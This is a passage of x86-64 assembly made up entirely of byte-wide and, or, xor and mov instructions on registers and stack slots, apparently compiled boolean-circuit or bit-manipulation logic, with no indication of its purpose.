or al, r11b
mov r11d, edx
xor r11b, bpl
mov ebx, eax
xor bl, bpl
and bpl, bl
and bl, al
xor bpl, 1
xor bl, 1
mov eax, ebp
xor al, bl
or bl, bpl
xor bl, 1
or bl, al
and dl, r11b
xor r11b, 1
mov eax, edx
and al, r11b
xor r11b, dl
or r11b, al
mov eax, r11d
xor al, 1
mov edx, eax
and dl, r11b
xor al, dl
xor dl, 1
or dl, r11b
xor dl, 1
or dl, al
mov r11d, ebx
xor r11b, 1
mov ebp, r11d
and bpl, bl
mov edi, r11d
and dil, bpl
xor bpl, r11b
or bpl, dil
mov r11d, edx
xor r11b, 1
mov eax, r11d
and al, dl
mov edi, r11d
and dil, al
xor al, r11b
or al, dil
xor al, bpl
mov r11d, ebx
xor r11b, dl
or dl, bl
xor dl, 1
or dl, r11b
xor dl, 1
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov eax, ecx
xor al, dl
xor cl, 1
mov ebx, edx
xor bl, cl
or dl, cl
xor dl, 1
or dl, bl
xor al, 1
or cl, al
mov eax, ecx
xor al, 1
and al, dl
xor dl, 1
mov ebx, edx
xor bl, cl
and bl, dl
and cl, dl
or cl, al
xor bl, 1
xor cl, 1
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
xor r10b, r8b
xor r10b, 1
or r10b, r9b
mov eax, esi
xor al, r8b
and sil, al
and al, r8b
xor sil, 1
xor al, 1
mov edx, esi
xor dl, al
or al, sil
xor al, 1
or al, dl
mov edx, r10d
xor dl, 1
mov ebx, r10d
and bl, al
xor al, 1
and dl, al
or dl, bl
mov ebx, r10d
and bl, al
xor al, r10b
or al, bl
mov ebx, edx
xor bl, al
xor dl, 1
xor bl, 1
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
xor al, 1
mov ebx, eax
and bl, dl
xor bl, 1
mov r8d, edx
xor r8b, bl
or bl, dl
xor bl, 1
or bl, r8b
or al, dl
mov edx, ebx
xor dl, al
and dl, bl
mov r8d, eax
and al, bl
xor bl, 1
xor r8b, 1
and r8b, bl
or al, r8b
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, ecx
or dl, al
xor dl, 1
xor al, cl
or dl, al
mov ecx, edx
xor cl, 1
mov ebx, ecx
and bl, dl
mov edi, ebx
xor dil, 1
or dil, dl
xor bl, cl
xor dil, 1
or dil, bl
mov edx, edi
xor dl, 1
and dl, al
mov ebx, ecx
xor bl, al
or cl, al
xor al, 1
and dil, al
or dil, dl
xor cl, 1
or cl, bl
xor dil, 1
mov eax, edi
xor al, cl
or dil, cl
xor dil, 1
or dil, al
movzx eax, byte [rsp + 0x40]
mov r10d, eax
xor r10b, 1
mov r11d, eax
or r11b, r10b
mov r8d, r10d
xor r8b, r11b
mov r14d, r11d
or r14b, r10b
xor r14b, 1
mov ecx, r14d
and cl, r8b
xor r14b, r8b
or r14b, cl
mov ecx, r14d
xor cl, 1
and r14b, cl
mov r9d, r14d
and r9b, cl
xor r14b, cl
or r14b, r9b
mov ecx, eax
and cl, r10b
xor r10b, al
mov r15d, eax
or r10b, cl
mov ecx, r14d
xor cl, 1
mov ebp, ecx
and bpl, r14b
mov r9d, ebp
and r9b, cl
xor bpl, cl
or bpl, r9b
mov ebx, r14d
or bl, cl
mov r9d, ebx
xor r9b, 1
mov esi, r9d
and sil, bl
mov eax, esi
xor sil, r9b
xor al, 1
or al, bl
xor al, 1
or al, sil
mov r9d, ebp
xor r9b, 1
and r9b, al
xor al, 1
and al, bpl
or al, r9b
mov r9d, r14d
and r9b, bl
xor bl, r14b
or bl, r9b
xor bl, 1
mov r9d, eax
and r9b, bl
xor bl, al
or bl, r9b
mov r9d, r10d
xor r9b, 1
mov eax, r10d
xor al, r9b
and al, r10b
mov esi, r9d
or sil, r10b
xor al, 1
mov ebp, eax
or bpl, sil
xor al, sil
xor bpl, 1
mov esi, ebp
and sil, al
xor al, bpl
or al, sil
mov edx, ebx
xor dl, al
and al, dl
and dl, bl
xor al, 1
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
and r14b, r10b
and r9b, cl
or r9b, r14b
mov eax, ecx
xor al, r10b
or cl, r10b
xor cl, 1
or cl, al
xor cl, 1
mov eax, r9d
and al, cl
xor cl, r9b
or cl, al
mov eax, edx
xor al, 1
and al, dl
mov ebx, eax
and bl, dl
xor al, dl
or al, bl
xor cl, 1
xor al, cl
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
mov edx, eax
or dl, cl
xor al, dl
or dl, cl
xor al, 1
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and dl, al
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, edx
xor al, 1
mov ebx, edx
and bl, al
mov ecx, ebx
and bl, dl
xor cl, 1
mov edx, eax
xor dl, cl
and dl, al
and cl, al
or cl, bl
xor dl, 1
xor cl, 1
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
and al, cl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
xor al, 1
mov edx, eax
and dl, cl
xor al, cl
or al, dl
mov r10d, eax
xor r10b, 1
and r10b, al
xor r10b, 1
mov ecx, eax
xor cl, r10b
or r10b, al
xor r10b, 1
or r10b, cl
or r11b, r15b
mov eax, r11d
xor al, r8b
or r11b, r8b
xor r11b, 1
or r11b, al
mov eax, r11d
xor al, 1
or r11b, al
mov ecx, r11d
or cl, al
xor r11b, al
xor r11b, 1
mov eax, ecx
xor al, r11b
or r11b, cl
xor r11b, 1
or r11b, al
mov ecx, r11d
xor cl, 1
mov r13d, ecx
or r13b, r11b
mov edx, r13d
xor dl, 1
and dl, r11b
or r11b, r13b
and r13b, cl
or r13b, dl
xor r13b, 1
mov ecx, r11d
xor cl, r13b
or r13b, r11b
xor r13b, 1
or r13b, cl
mov ecx, r13d
xor cl, 1
and r13b, cl
mov edx, ecx
and dl, r13b
xor r13b, cl
or r13b, dl
xor r13b, 1
xor cl, r13b
xor r13b, cl
xor r13b, 1
and r13b, cl
mov r9d, edi
xor r9b, 1
mov r11d, edi
and r11b, r9b
mov ecx, r11d
and cl, dil
mov ebp, r11d
xor bpl, dil
or bpl, cl
mov ecx, r11d
xor cl, 1
mov eax, r9d
xor al, r11b
mov byte [rsp + 0x40], al
or cl, dil
xor cl, 1
or cl, al
mov r12d, ecx
xor r12b, 1
mov esi, ecx
and sil, r12b
xor r12b, cl
or r12b, sil
mov esi, ebp
xor sil, 1
mov ecx, esi
or cl, bpl
xor cl, bpl
mov r15d, ecx
and r15b, bpl
mov r14d, r15d
xor r14b, cl
xor r15b, 1
or r15b, cl
xor r14b, 1
xor r15b, 1
or r15b, r14b
mov ecx, r12d
xor cl, 1
mov ebx, r12d
xor bl, cl
and bl, r12b
mov edx, ebx
xor dl, 1
and bl, dl
mov r14d, edx
and r14b, bl
xor bl, dl
or bl, r14b
mov r14d, ecx
or r14b, r12b
mov eax, r14d
xor al, 1
and al, r14b
mov r8d, r14d
and r8b, al
xor al, r14b
or al, r8b
xor al, bl
mov ebx, edx
and bl, r14b
xor dl, r14b
or dl, bl
mov ebx, eax
xor bl, dl
xor al, 1
or al, dl
xor bl, 1
xor al, 1
or al, bl
mov r8d, eax
xor r8b, 1
mov edx, eax
and dl, r8b
mov ebx, edx
xor dl, al
xor bl, 1
or bl, r8b
xor bl, 1
or bl, dl
mov eax, r15d
xor al, 1
and al, bl
xor bl, 1
and bl, r15b
or bl, al
and bpl, cl
and r12b, sil
or r12b, bpl
mov eax, esi
and al, cl
xor cl, sil
or cl, al
xor cl, 1
mov eax, r12d
and al, cl
xor cl, r12b
or cl, al
mov eax, ecx
xor al, 1
mov edx, ebx
xor dl, cl
and dl, bl
and cl, bl
xor bl, 1
and bl, al
or cl, bl
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov eax, ecx
xor al, 1
or cl, al
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
xor cl, 1
or cl, dl
xor al, 1
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov esi, eax
and sil, cl
mov edx, esi
and dl, al
xor sil, al
or sil, dl
mov ebx, ecx
or bl, al
mov edx, ebx
xor dl, 1
mov r8d, esi
xor r8b, 1
and r8b, dl
and sil, bl
or sil, r8b
or dl, al
xor bl, cl
xor dl, 1
or dl, bl
mov eax, esi
xor al, dl
xor sil, 1
or sil, dl
xor al, 1
xor sil, 1
or sil, al
mov eax, esi
xor al, cl
and sil, cl
mov ecx, eax
xor cl, 1
or sil, al
xor al, sil
or sil, cl
xor al, 1
xor sil, 1
or sil, al
and r11b, r9b
or r11b, byte [rsp + 0x40]
mov r15d, r11d
xor r15b, 1
or r15b, r11b
mov eax, r15d
or al, r9b
xor al, 1
xor r15b, r9b
mov ecx, eax
and cl, r15b
xor r15b, al
or r15b, cl
mov eax, r15d
xor al, 1
and r15b, al
mov ecx, eax
and cl, r15b
xor r15b, al
or r15b, cl
xor dil, r15b
mov eax, r15d
xor al, r9b
or r15b, r9b
xor dil, 1
xor r15b, 1
or r15b, dil
xor r15b, 1
mov ecx, eax
and cl, r15b
xor r15b, al
or r15b, cl
mov r8d, r10d
xor r8b, 1
mov eax, r8d
and al, r10b
mov ecx, eax
and cl, r8b
mov edx, eax
xor dl, r8b
or dl, cl
xor dl, 1
or r8b, r10b
mov ecx, edx
xor cl, r8b
or dl, r8b
xor dl, 1
or dl, cl
mov r14d, r13d
xor r14b, 1
mov edi, r14d
or dil, r13b
xor r14b, dil
mov ebx, r14d
xor bl, 1
or r13b, dil
xor r13b, 1
or r13b, bl
mov r9d, r13d
xor r9b, 1
mov r12d, r9d
and r12b, r13b
mov ebx, r9d
xor bl, r12b
xor r12b, 1
or r12b, r13b
xor r12b, 1
or r12b, bl
mov r11d, r12d
and r12b, r13b
xor r11b, 1
mov ebx, r9d
and bl, r11b
or r12b, bl
mov ebx, edx
xor bl, 1
xor r12b, 1
or r12b, r11b
xor r9b, dl
xor r9b, 1
or r9b, bl
xor r11b, bl
mov ebp, ebx
and bl, dl
xor bpl, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, bpl
xor bl, 1
mov ebp, ebx
xor bpl, dl
xor bpl, 1
or bpl, bl
mov edx, r10d
and dl, al
xor al, r10b
or al, dl
xor al, 1
xor r8b, 1
mov edx, eax
and dl, r8b
xor r8b, al
or r8b, dl
mov eax, r8d
xor al, 1
and r8b, al
mov edx, eax
and dl, r8b
xor r8b, al
or r8b, dl
and r14b, dil
mov r10d, ebp
xor r10b, 1
mov ebx, ebp
and bl, r10b
mov edx, ebx
xor dl, 1
xor bl, bpl
or dl, r10b
xor dl, 1
or dl, bl
mov eax, r10d
or al, bpl
mov edi, eax
xor dil, 1
mov ecx, edi
and cl, al
mov ebx, ecx
xor cl, dil
xor bl, 1
or bl, al
xor bl, 1
or bl, cl
xor bl, dl
mov ecx, r10d
and cl, al
xor al, r10b
or al, cl
mov ecx, ebx
xor cl, al
xor bl, 1
or bl, al
xor cl, 1
xor bl, 1
or bl, cl
mov edi, r8d
xor dil, 1
mov eax, r8d
or al, dil
mov edx, eax
xor dl, 1
mov ecx, eax
and cl, dl
xor al, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
and al, dil
xor cl, 1
and cl, r8b
or cl, al
mov eax, edi
xor al, dl
or dl, dil
xor dl, 1
or dl, al
mov eax, ecx
xor al, dl
xor cl, 1
or cl, dl
xor al, 1
xor cl, 1
or cl, al
mov eax, ebx
xor al, 1
and bl, al
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
xor bl, cl
and dil, r10b
mov eax, ebp
xor al, r8b
and al, bpl
and r8b, bpl
or r8b, dil
xor al, 1
xor r8b, 1
mov ecx, eax
xor cl, r8b
or r8b, al
xor r8b, 1
or r8b, cl
mov eax, r8d
xor al, 1
and r8b, al
mov ecx, eax
and cl, r8b
xor r8b, al
or r8b, cl
mov eax, r8d
and r8b, bl
xor bl, 1
xor al, 1
mov ecx, ebx
xor cl, al
and cl, bl
and al, bl
or al, r8b
mov edx, ecx
xor dl, 1
xor cl, al
xor al, 1
or al, dl
xor al, 1
or al, cl
mov ecx, r14d
xor cl, 1
mov edx, r12d
and dl, cl
xor cl, r12b
or cl, dl
mov edx, r14d
xor dl, r12b
xor dl, 1
and dl, r14b
or r14b, r12b
xor r14b, 1
mov ebx, edx
and bl, r14b
xor r14b, dl
or r14b, bl
mov edx, ecx
xor dl, 1
mov ebx, r14d
xor bl, 1
and r14b, cl
or cl, bl
and bl, dl
or bl, r14b
xor cl, 1
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov ecx, eax
xor cl, 1
and cl, al
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov r8d, ebx
xor r8b, 1
mov edx, ebx
or dl, r8b
mov eax, edx
xor al, 1
and al, bl
or bl, dl
and dl, r8b
or dl, al
xor bl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov eax, ecx
xor al, 1
and cl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
and cl, dl
xor dl, 1
xor al, 1
and al, dl
or cl, al
mov eax, r9d
xor al, 1
mov edx, eax
and dl, r9b
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov r8d, r11d
xor r8b, 1
mov ebx, r8d
and bl, r11b
mov eax, ebx
xor bl, r8b
xor al, 1
or al, r11b
xor al, 1
or al, bl
mov ebx, edx
xor bl, 1
and bl, al
xor al, 1
and al, dl
or al, bl
mov edx, r9d
and dl, r11b
xor r11b, r9b
or r11b, dl
xor r11b, 1
mov edx, eax
and dl, r11b
xor r11b, al
or r11b, dl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, r11b
xor bl, r11b
or bl, dl
mov edx, ecx
xor dl, r11b
or r11b, cl
xor dl, 1
and dl, cl
mov ecx, r11d
xor cl, dl
xor dl, 1
or dl, r11b
xor cl, 1
xor dl, 1
or dl, cl
xor dl, 1
mov eax, ebx
xor al, dl
and dl, bl
or dl, al
xor al, 1
mov ebx, eax
xor bl, dl
or al, dl
mov ecx, esi
xor cl, 1
xor al, 1
or al, bl
mov byte [rsp + 0x40], al
mov r13d, esi
or r13b, cl
mov edx, r13d
xor dl, 1
mov ebx, ecx
or bl, r13b
and dl, cl
and r13b, sil
or r13b, dl
mov edx, ebx
xor dl, r13b
xor r13b, 1
or r13b, bl
xor dl, 1
xor r13b, 1
or r13b, dl
mov edx, r15d
xor dl, 1
mov r10d, r15d
or r10b, dl
xor r10b, 1
mov ebx, r10d
xor bl, dl
mov r9d, r10d
or r9b, dl
xor r9b, 1
or r9b, bl
xor bl, 1
mov r11d, ebx
xor r11b, r9b
or r9b, bl
xor r9b, 1
or r9b, r11b
and sil, cl
xor sil, 1
or sil, cl
mov ebx, r9d
xor bl, 1
mov eax, r9d
or al, bl
mov r11d, eax
xor r11b, r9b
and r11b, al
xor dl, r15b
or dl, r10b
mov eax, edx
xor al, 1
mov edi, eax
and dil, dl
xor al, dil
xor dil, 1
or dil, dl
xor dil, 1
or dil, al
mov eax, esi
xor al, 1
mov r14d, esi
and r14b, al
mov r10d, esi
and r10b, r14b
xor r14b, sil
or r14b, r10b
or al, sil
mov ebp, r13d
xor bpl, 1
mov edx, r14d
xor dl, 1
mov r15d, eax
xor r15b, 1
mov r8d, ebp
or r8b, r13b
xor r8b, 1
mov r12d, edx
or r12b, al
and r15b, dl
and al, r14b
mov r10d, r13d
or r10b, dl
and r14b, r13b
and dl, bpl
and r13b, bpl
mov ecx, ebp
and cl, r13b
mov byte [rsp + 0x5c], cl
xor r13b, bpl
mov esi, ebp
mov byte [rsp + 0x54], r8b
xor bpl, r8b
mov ecx, ebp
xor cl, 1
or sil, r8b
xor sil, 1
or sil, bpl
xor bpl, sil
or sil, cl
xor bpl, 1
xor sil, 1
or sil, bpl
or al, r15b
xor r12b, 1
mov r8d, r12d
and r8b, al
xor al, r12b
or al, r8b
xor sil, 1
mov r8d, eax
xor r8b, sil
xor r8b, 1
and r8b, al
or sil, al
xor r8b, 1
mov eax, r8d
xor al, sil
or r8b, sil
xor r8b, 1
or r8b, al
or dl, r14b
mov eax, r10d
xor al, dl
xor dl, 1
or dl, r10b
xor al, 1
xor dl, 1
or dl, al
mov r10d, r8d
xor r10b, 1
mov ebp, r8d
and bpl, r10b
mov esi, ebp
and sil, r8b
xor bpl, r8b
or bpl, sil
mov esi, edx
xor sil, 1
mov eax, esi
and al, dl
mov r14d, eax
and r14b, sil
xor al, sil
or al, r14b
mov r14d, ebp
xor r14b, 1
and r14b, al
xor al, 1
and al, bpl
or al, r14b
xor r10b, dl
or sil, r8b
xor sil, 1
or sil, r10b
xor sil, 1
mov edx, eax
and dl, sil
xor sil, al
or sil, dl
mov eax, r11d
xor al, 1
mov edx, r11d
xor dl, dil
or r11b, dil
xor r11b, 1
or r11b, dl
and dl, dil
or al, dil
xor al, 1
mov r8d, edx
and r8b, al
xor al, dl
or al, r8b
xor r11b, 1
xor al, r11b
xor al, 1
and r11b, al
xor r11b, 1
mov edx, r11d
xor dl, al
or r11b, al
xor r11b, 1
or r11b, dl
mov edx, esi
xor dl, 1
mov r8d, edx
xor r8b, r11b
xor r8b, 1
mov eax, edx
and al, sil
mov r10d, r8d
xor r10b, dl
xor dl, al
xor al, 1
or al, sil
xor al, 1
or al, dl
mov edx, r11d
xor dl, al
or al, r11b
xor al, 1
or al, dl
and r10b, r8b
mov edx, eax
xor dl, 1
mov esi, r10d
xor sil, 1
and r10b, al
or al, sil
and sil, dl
or sil, r10b
xor al, 1
mov edx, eax
and dl, sil
xor sil, al
or sil, dl
or r13b, byte [rsp + 0x5c]
and bl, r9b
mov eax, r9d
and al, bl
xor bl, r9b
or bl, al
mov r8d, r13d
xor r8b, 1
mov edx, r13d
xor dl, r8b
and dl, r13b
mov r9d, edx
xor r9b, 1
mov r10d, edx
and r10b, r9b
mov eax, r10d
xor al, 1
or al, r9b
xor r10b, dl
xor al, 1
or al, r10b
movzx ecx, byte [rsp + 0x54]
xor al, cl
mov r9d, edx
xor r9b, cl
or dl, cl
xor dl, 1
or dl, r9b
xor dl, 1
mov r9d, eax
and r9b, dl
xor dl, al
or dl, r9b
mov eax, ebx
xor al, 1
mov ecx, ebx
and cl, al
or al, dl
xor dl, 1
xor al, 1
or dl, bl
xor dl, 1
mov r9d, eax
and r9b, dl
xor dl, al
or dl, r9b
mov eax, ecx
and al, bl
xor cl, bl
or cl, al
and r8b, cl
xor cl, 1
and cl, r13b
or cl, r8b
mov eax, r13d
xor al, bl
or bl, r13b
xor bl, 1
or bl, al
xor bl, 1
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov eax, ebx
xor al, 1
and bl, al
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov eax, edx
xor al, 1
xor dl, bl
xor bl, 1
or bl, al
mov eax, ebx
xor al, dl
xor dl, 1
xor al, 1
or dl, bl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov ecx, eax
and cl, dl
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
or al, dl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, 1
and bl, dl
or dl, al
and al, cl
or al, bl
mov ecx, edx
xor cl, al
xor al, 1
xor cl, 1
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov edx, esi
xor dl, 1
mov ebx, edx
xor bl, cl
or cl, sil
or sil, al
xor sil, 1
or sil, bl
xor cl, 1
or dl, al
xor dl, 1
mov eax, ecx
and al, dl
xor dl, cl
mov ecx, esi
xor cl, 1
or dl, al
mov eax, esi
and al, dl
xor dl, 1
and cl, dl
or cl, al
mov eax, esi
and al, dl
xor dl, sil
or dl, al
mov eax, ecx
xor al, dl
xor cl, 1
xor al, 1
or cl, dl
xor cl, 1
or cl, al
movzx r9d, byte [rsp + 0x40]
mov r8d, r9d
xor r8b, 1
mov eax, r9d
or al, r8b
mov ebx, eax
xor bl, 1
mov edx, r8d
xor dl, al
and bl, r9b
mov esi, r9d
and al, r8b
or al, bl
and dl, r8b
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, 1
mov r11d, eax
xor r11b, cl
and al, r11b
and r11b, cl
mov edx, eax
and dl, r11b
xor r11b, al
or r11b, dl
mov eax, ecx
xor al, 1
xor r11b, 1
mov edx, r11d
and dl, al
xor r11b, al
or r11b, dl
mov r9d, ecx
or r9b, al
mov edx, r9d
xor r9b, cl
and cl, al
xor cl, 1
mov r10d, eax
xor r10b, cl
or cl, al
xor cl, 1
or cl, r10b
xor dl, 1
xor cl, dl
or dl, al
xor dl, 1
or dl, r9b
xor cl, 1
xor dl, 1
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov ecx, esi
and cl, r8b
mov eax, r8d
and al, cl
xor cl, r8b
or cl, al
mov eax, ecx
xor al, 1
and al, cl
xor al, 1
mov ebx, ecx
xor bl, al
or al, cl
mov r9d, ecx
xor al, 1
or al, bl
mov ecx, edx
xor cl, 1
mov ebx, edx
and bl, cl
mov r8d, edx
and r8b, bl
xor bl, dl
or bl, r8b
xor bl, al
mov eax, r9d
xor al, cl
or cl, r9b
mov r8d, r11d
xor r8b, 1
xor bl, 1
xor cl, 1
or cl, al
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov edi, ecx
xor dil, 1
mov ebx, r11d
or bl, r8b
mov r9d, ebx
xor r9b, 1
and r9b, r8b
mov esi, ecx
and sil, dil
mov r10d, esi
and r10b, cl
xor sil, cl
and cl, r8b
or r8b, bl
and bl, r11b
or bl, r9b
xor bl, 1
mov r9d, r8d
xor r9b, bl
or bl, r8b
xor bl, 1
or bl, r9b
or sil, r10b
xor sil, bl
mov ebx, r11d
xor bl, dil
and bl, r11b
and dil, r11b
mov r8d, esi
xor r8b, 1
or dil, cl
mov ecx, ebx
and cl, dil
xor dil, bl
or dil, cl
mov ecx, r8d
and cl, sil
mov ebx, r8d
and bl, cl
xor cl, r8b
or cl, bl
mov edx, edi
xor dl, 1
mov eax, edi
and al, dl
xor r8b, dil
xor dil, al
xor al, 1
or al, dl
xor al, 1
or al, dil
xor al, cl
or dl, sil
xor dl, 1
or dl, r8b
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov byte [rsp + 0x40], dl
movzx r13d, byte [rsp + 0x4d]
or r13b, byte [rsp + 0x4b]
movzx ecx, byte [rsp + 0x4c]
or cl, byte [rsp + 0x62]
xor r13b, 1
mov eax, r13d
xor al, cl
or r13b, cl
xor r13b, 1
or r13b, al
movzx edx, byte [rsp + 0x4a]
or dl, byte [rsp + 0x4e]
movzx ecx, byte [rsp + 0x44]
xor cl, 1
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov ebx, ecx
xor bl, 1
and bl, cl
xor bl, 1
mov eax, ecx
xor al, bl
or bl, cl
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
and bl, al
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov ebp, ebx
xor bpl, 1
movzx r15d, byte [rsp + 0x33]
mov r9d, r15d
xor r9b, 1
movzx r10d, byte [rsp + 0x3f]
or r10b, byte [rsp + 0x4f]
xor r10b, 1
movzx ecx, byte [rsp + 0x38]
xor cl, 1
mov eax, r10d
and al, cl
xor r10b, cl
mov r11d, ecx
or r10b, al
mov eax, r10d
xor al, 1
or r10b, al
xor r10b, 1
mov ecx, eax
and cl, r10b
xor r10b, al
or r10b, cl
mov r8d, r10d
xor r8b, 1
movzx eax, byte [rsp + 0x34]
or al, r11b
mov byte [rsp + 0x34], al
mov r11d, eax
xor r11b, 1
mov edx, ebp
and dl, bl
mov eax, ebp
xor al, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, al
mov edi, edx
xor dil, 1
mov r14d, edi
or r14b, dl
mov ecx, r14d
xor cl, 1
mov esi, r15d
mov eax, r15d
or sil, r9b
mov r12d, esi
xor r12b, 1
mov r15d, r14d
xor r14b, bpl
and bpl, cl
and r15b, bl
or r15b, bpl
or cl, bl
xor cl, 1
or cl, r14b
xor cl, 1
mov ebx, r15d
and bl, cl
xor cl, r15b
or cl, bl
and dl, dil
mov ebp, edi
and bpl, dl
xor dl, dil
mov r14d, edi
and r14b, r9b
xor dil, r9b
and r9b, sil
or sil, al
xor sil, 1
and r12b, al
mov r15d, eax
or r12b, r9b
mov ebx, esi
and bl, r12b
xor r12b, sil
or r12b, bl
xor r12b, 1
mov eax, ecx
xor al, r12b
or r12b, cl
xor al, 1
and al, cl
mov ecx, r12d
xor cl, al
xor al, 1
xor cl, 1
or al, r12b
xor al, 1
or al, cl
or dl, bpl
xor dl, r15b
or dil, r14b
mov ecx, edx
xor cl, dil
or dil, dl
xor dil, 1
or dil, cl
mov edx, edi
xor dl, 1
mov ecx, edi
and cl, dl
mov ebx, edi
xor bl, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, bl
mov ebx, ecx
and bl, al
or dl, al
xor al, 1
xor cl, 1
and cl, al
or cl, bl
xor al, dil
xor dl, 1
or dl, al
xor cl, 1
mov eax, ecx
xor al, dl
or cl, dl
xor cl, 1
or cl, al
and r8b, r11b
movzx edx, byte [rsp + 0x34]
and r11b, dl
mov eax, edx
and al, r11b
xor r11b, dl
and dl, r10b
or r8b, dl
mov ebx, r8d
xor bl, r10b
and bl, r8b
or r11b, al
xor r11b, r10b
xor r11b, 1
xor bl, 1
mov eax, ebx
or al, r11b
xor bl, r11b
xor bl, 1
mov edx, eax
xor dl, bl
or bl, al
xor bl, 1
or bl, dl
mov r8d, ecx
xor r8b, 1
mov eax, ebx
xor al, 1
mov edx, eax
and dl, bl
mov r9d, eax
xor r9b, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, r9b
xor al, cl
or bl, r8b
xor r8b, dl
xor bl, 1
or bl, al
xor r8b, 1
or dl, cl
xor dl, 1
or dl, r8b
mov eax, ebx
or al, dl
xor dl, bl
xor dl, 1
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov ebx, r13d
xor bl, dl
mov eax, edx
xor al, 1
mov r8d, ebx
and r8b, r13b
and dl, al
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
xor dl, 1
mov r9d, r13d
and r9b, dl
xor dl, r13b
mov ecx, r13d
xor cl, 1
xor bl, 1
mov r11d, r8d
and r11b, bl
xor bl, r8b
or bl, r11b
mov r8d, ebx
xor r8b, 1
mov r11d, eax
and r11b, cl
xor cl, al
or cl, r11b
xor cl, 1
or dl, r9b
mov eax, ecx
xor al, dl
xor dl, 1
mov r9d, ecx
xor r9b, dl
xor al, 1
or dl, cl
xor dl, 1
or dl, al
xor dl, 1
mov eax, r9d
and al, dl
xor dl, r9b
or dl, al
mov r9d, edx
xor r9b, 1
mov ecx, r9d
and cl, dl
mov eax, r9d
xor al, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
mov esi, ecx
xor sil, 1
mov r14d, ebx
and r14b, r8b
mov r11d, ebx
and r11b, r14b
mov ebp, ebx
xor bpl, r14b
xor r14b, 1
mov edi, ebx
xor dil, r14b
or r14b, bl
or bl, r8b
xor bl, 1
mov eax, ecx
or al, sil
or bpl, r11b
xor bpl, bl
mov r11d, ebx
xor r11b, r8b
or bl, r8b
xor bl, 1
or bl, r11b
mov r11d, ebp
xor r11b, bl
or bl, bpl
xor bl, 1
or bl, r11b
mov edx, eax
or dl, r9b
xor dl, 1
xor al, r9b
mov r9d, edx
and r9b, al
xor al, dl
or al, r9b
mov edx, eax
xor dl, 1
and dl, bl
xor bl, 1
and bl, al
or dl, bl
and cl, sil
xor r14b, 1
or r14b, dil
mov eax, esi
and al, cl
xor cl, sil
or cl, al
mov eax, r14d
xor al, 1
and al, cl
xor cl, 1
and cl, r14b
or cl, al
mov eax, r8d
and al, sil
xor sil, r8b
or sil, al
xor sil, 1
mov eax, ecx
and al, sil
xor sil, cl
or sil, al
mov eax, esi
xor al, 1
mov ecx, edx
xor cl, 1
and al, cl
or cl, sil
and sil, dl
or sil, al
xor sil, 1
mov eax, ecx
xor al, sil
or sil, cl
xor sil, 1
or sil, al
mov r9d, esi
xor r9b, 1
mov eax, r9d
and al, sil
mov ecx, r9d
xor cl, al
mov edx, r9d
xor dl, sil
or dl, al
xor al, 1
or al, sil
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
or cl, al
xor cl, 1
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, 1
and cl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, 1
and cl, al
mov ebx, ecx
and bl, al
xor cl, al
or cl, bl
mov ebx, edx
xor bl, 1
mov r8d, edx
mov eax, ecx
and al, bl
or dl, cl
xor bl, cl
and bl, cl
xor cl, 1
and r8b, cl
or al, r8b
xor cl, al
and cl, al
xor dl, 1
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov eax, ecx
xor al, 1
and al, cl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
xor al, bl
mov edx, ecx
xor dl, bl
or bl, cl
xor bl, 1
or bl, dl
xor bl, 1
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov r11d, ebx
xor r11b, 1
mov eax, ebx
and al, r11b
xor al, 1
mov r8d, ebx
xor r8b, al
mov ecx, ebx
or cl, al
xor cl, 1
or cl, r8b
mov edx, ecx
xor dl, 1
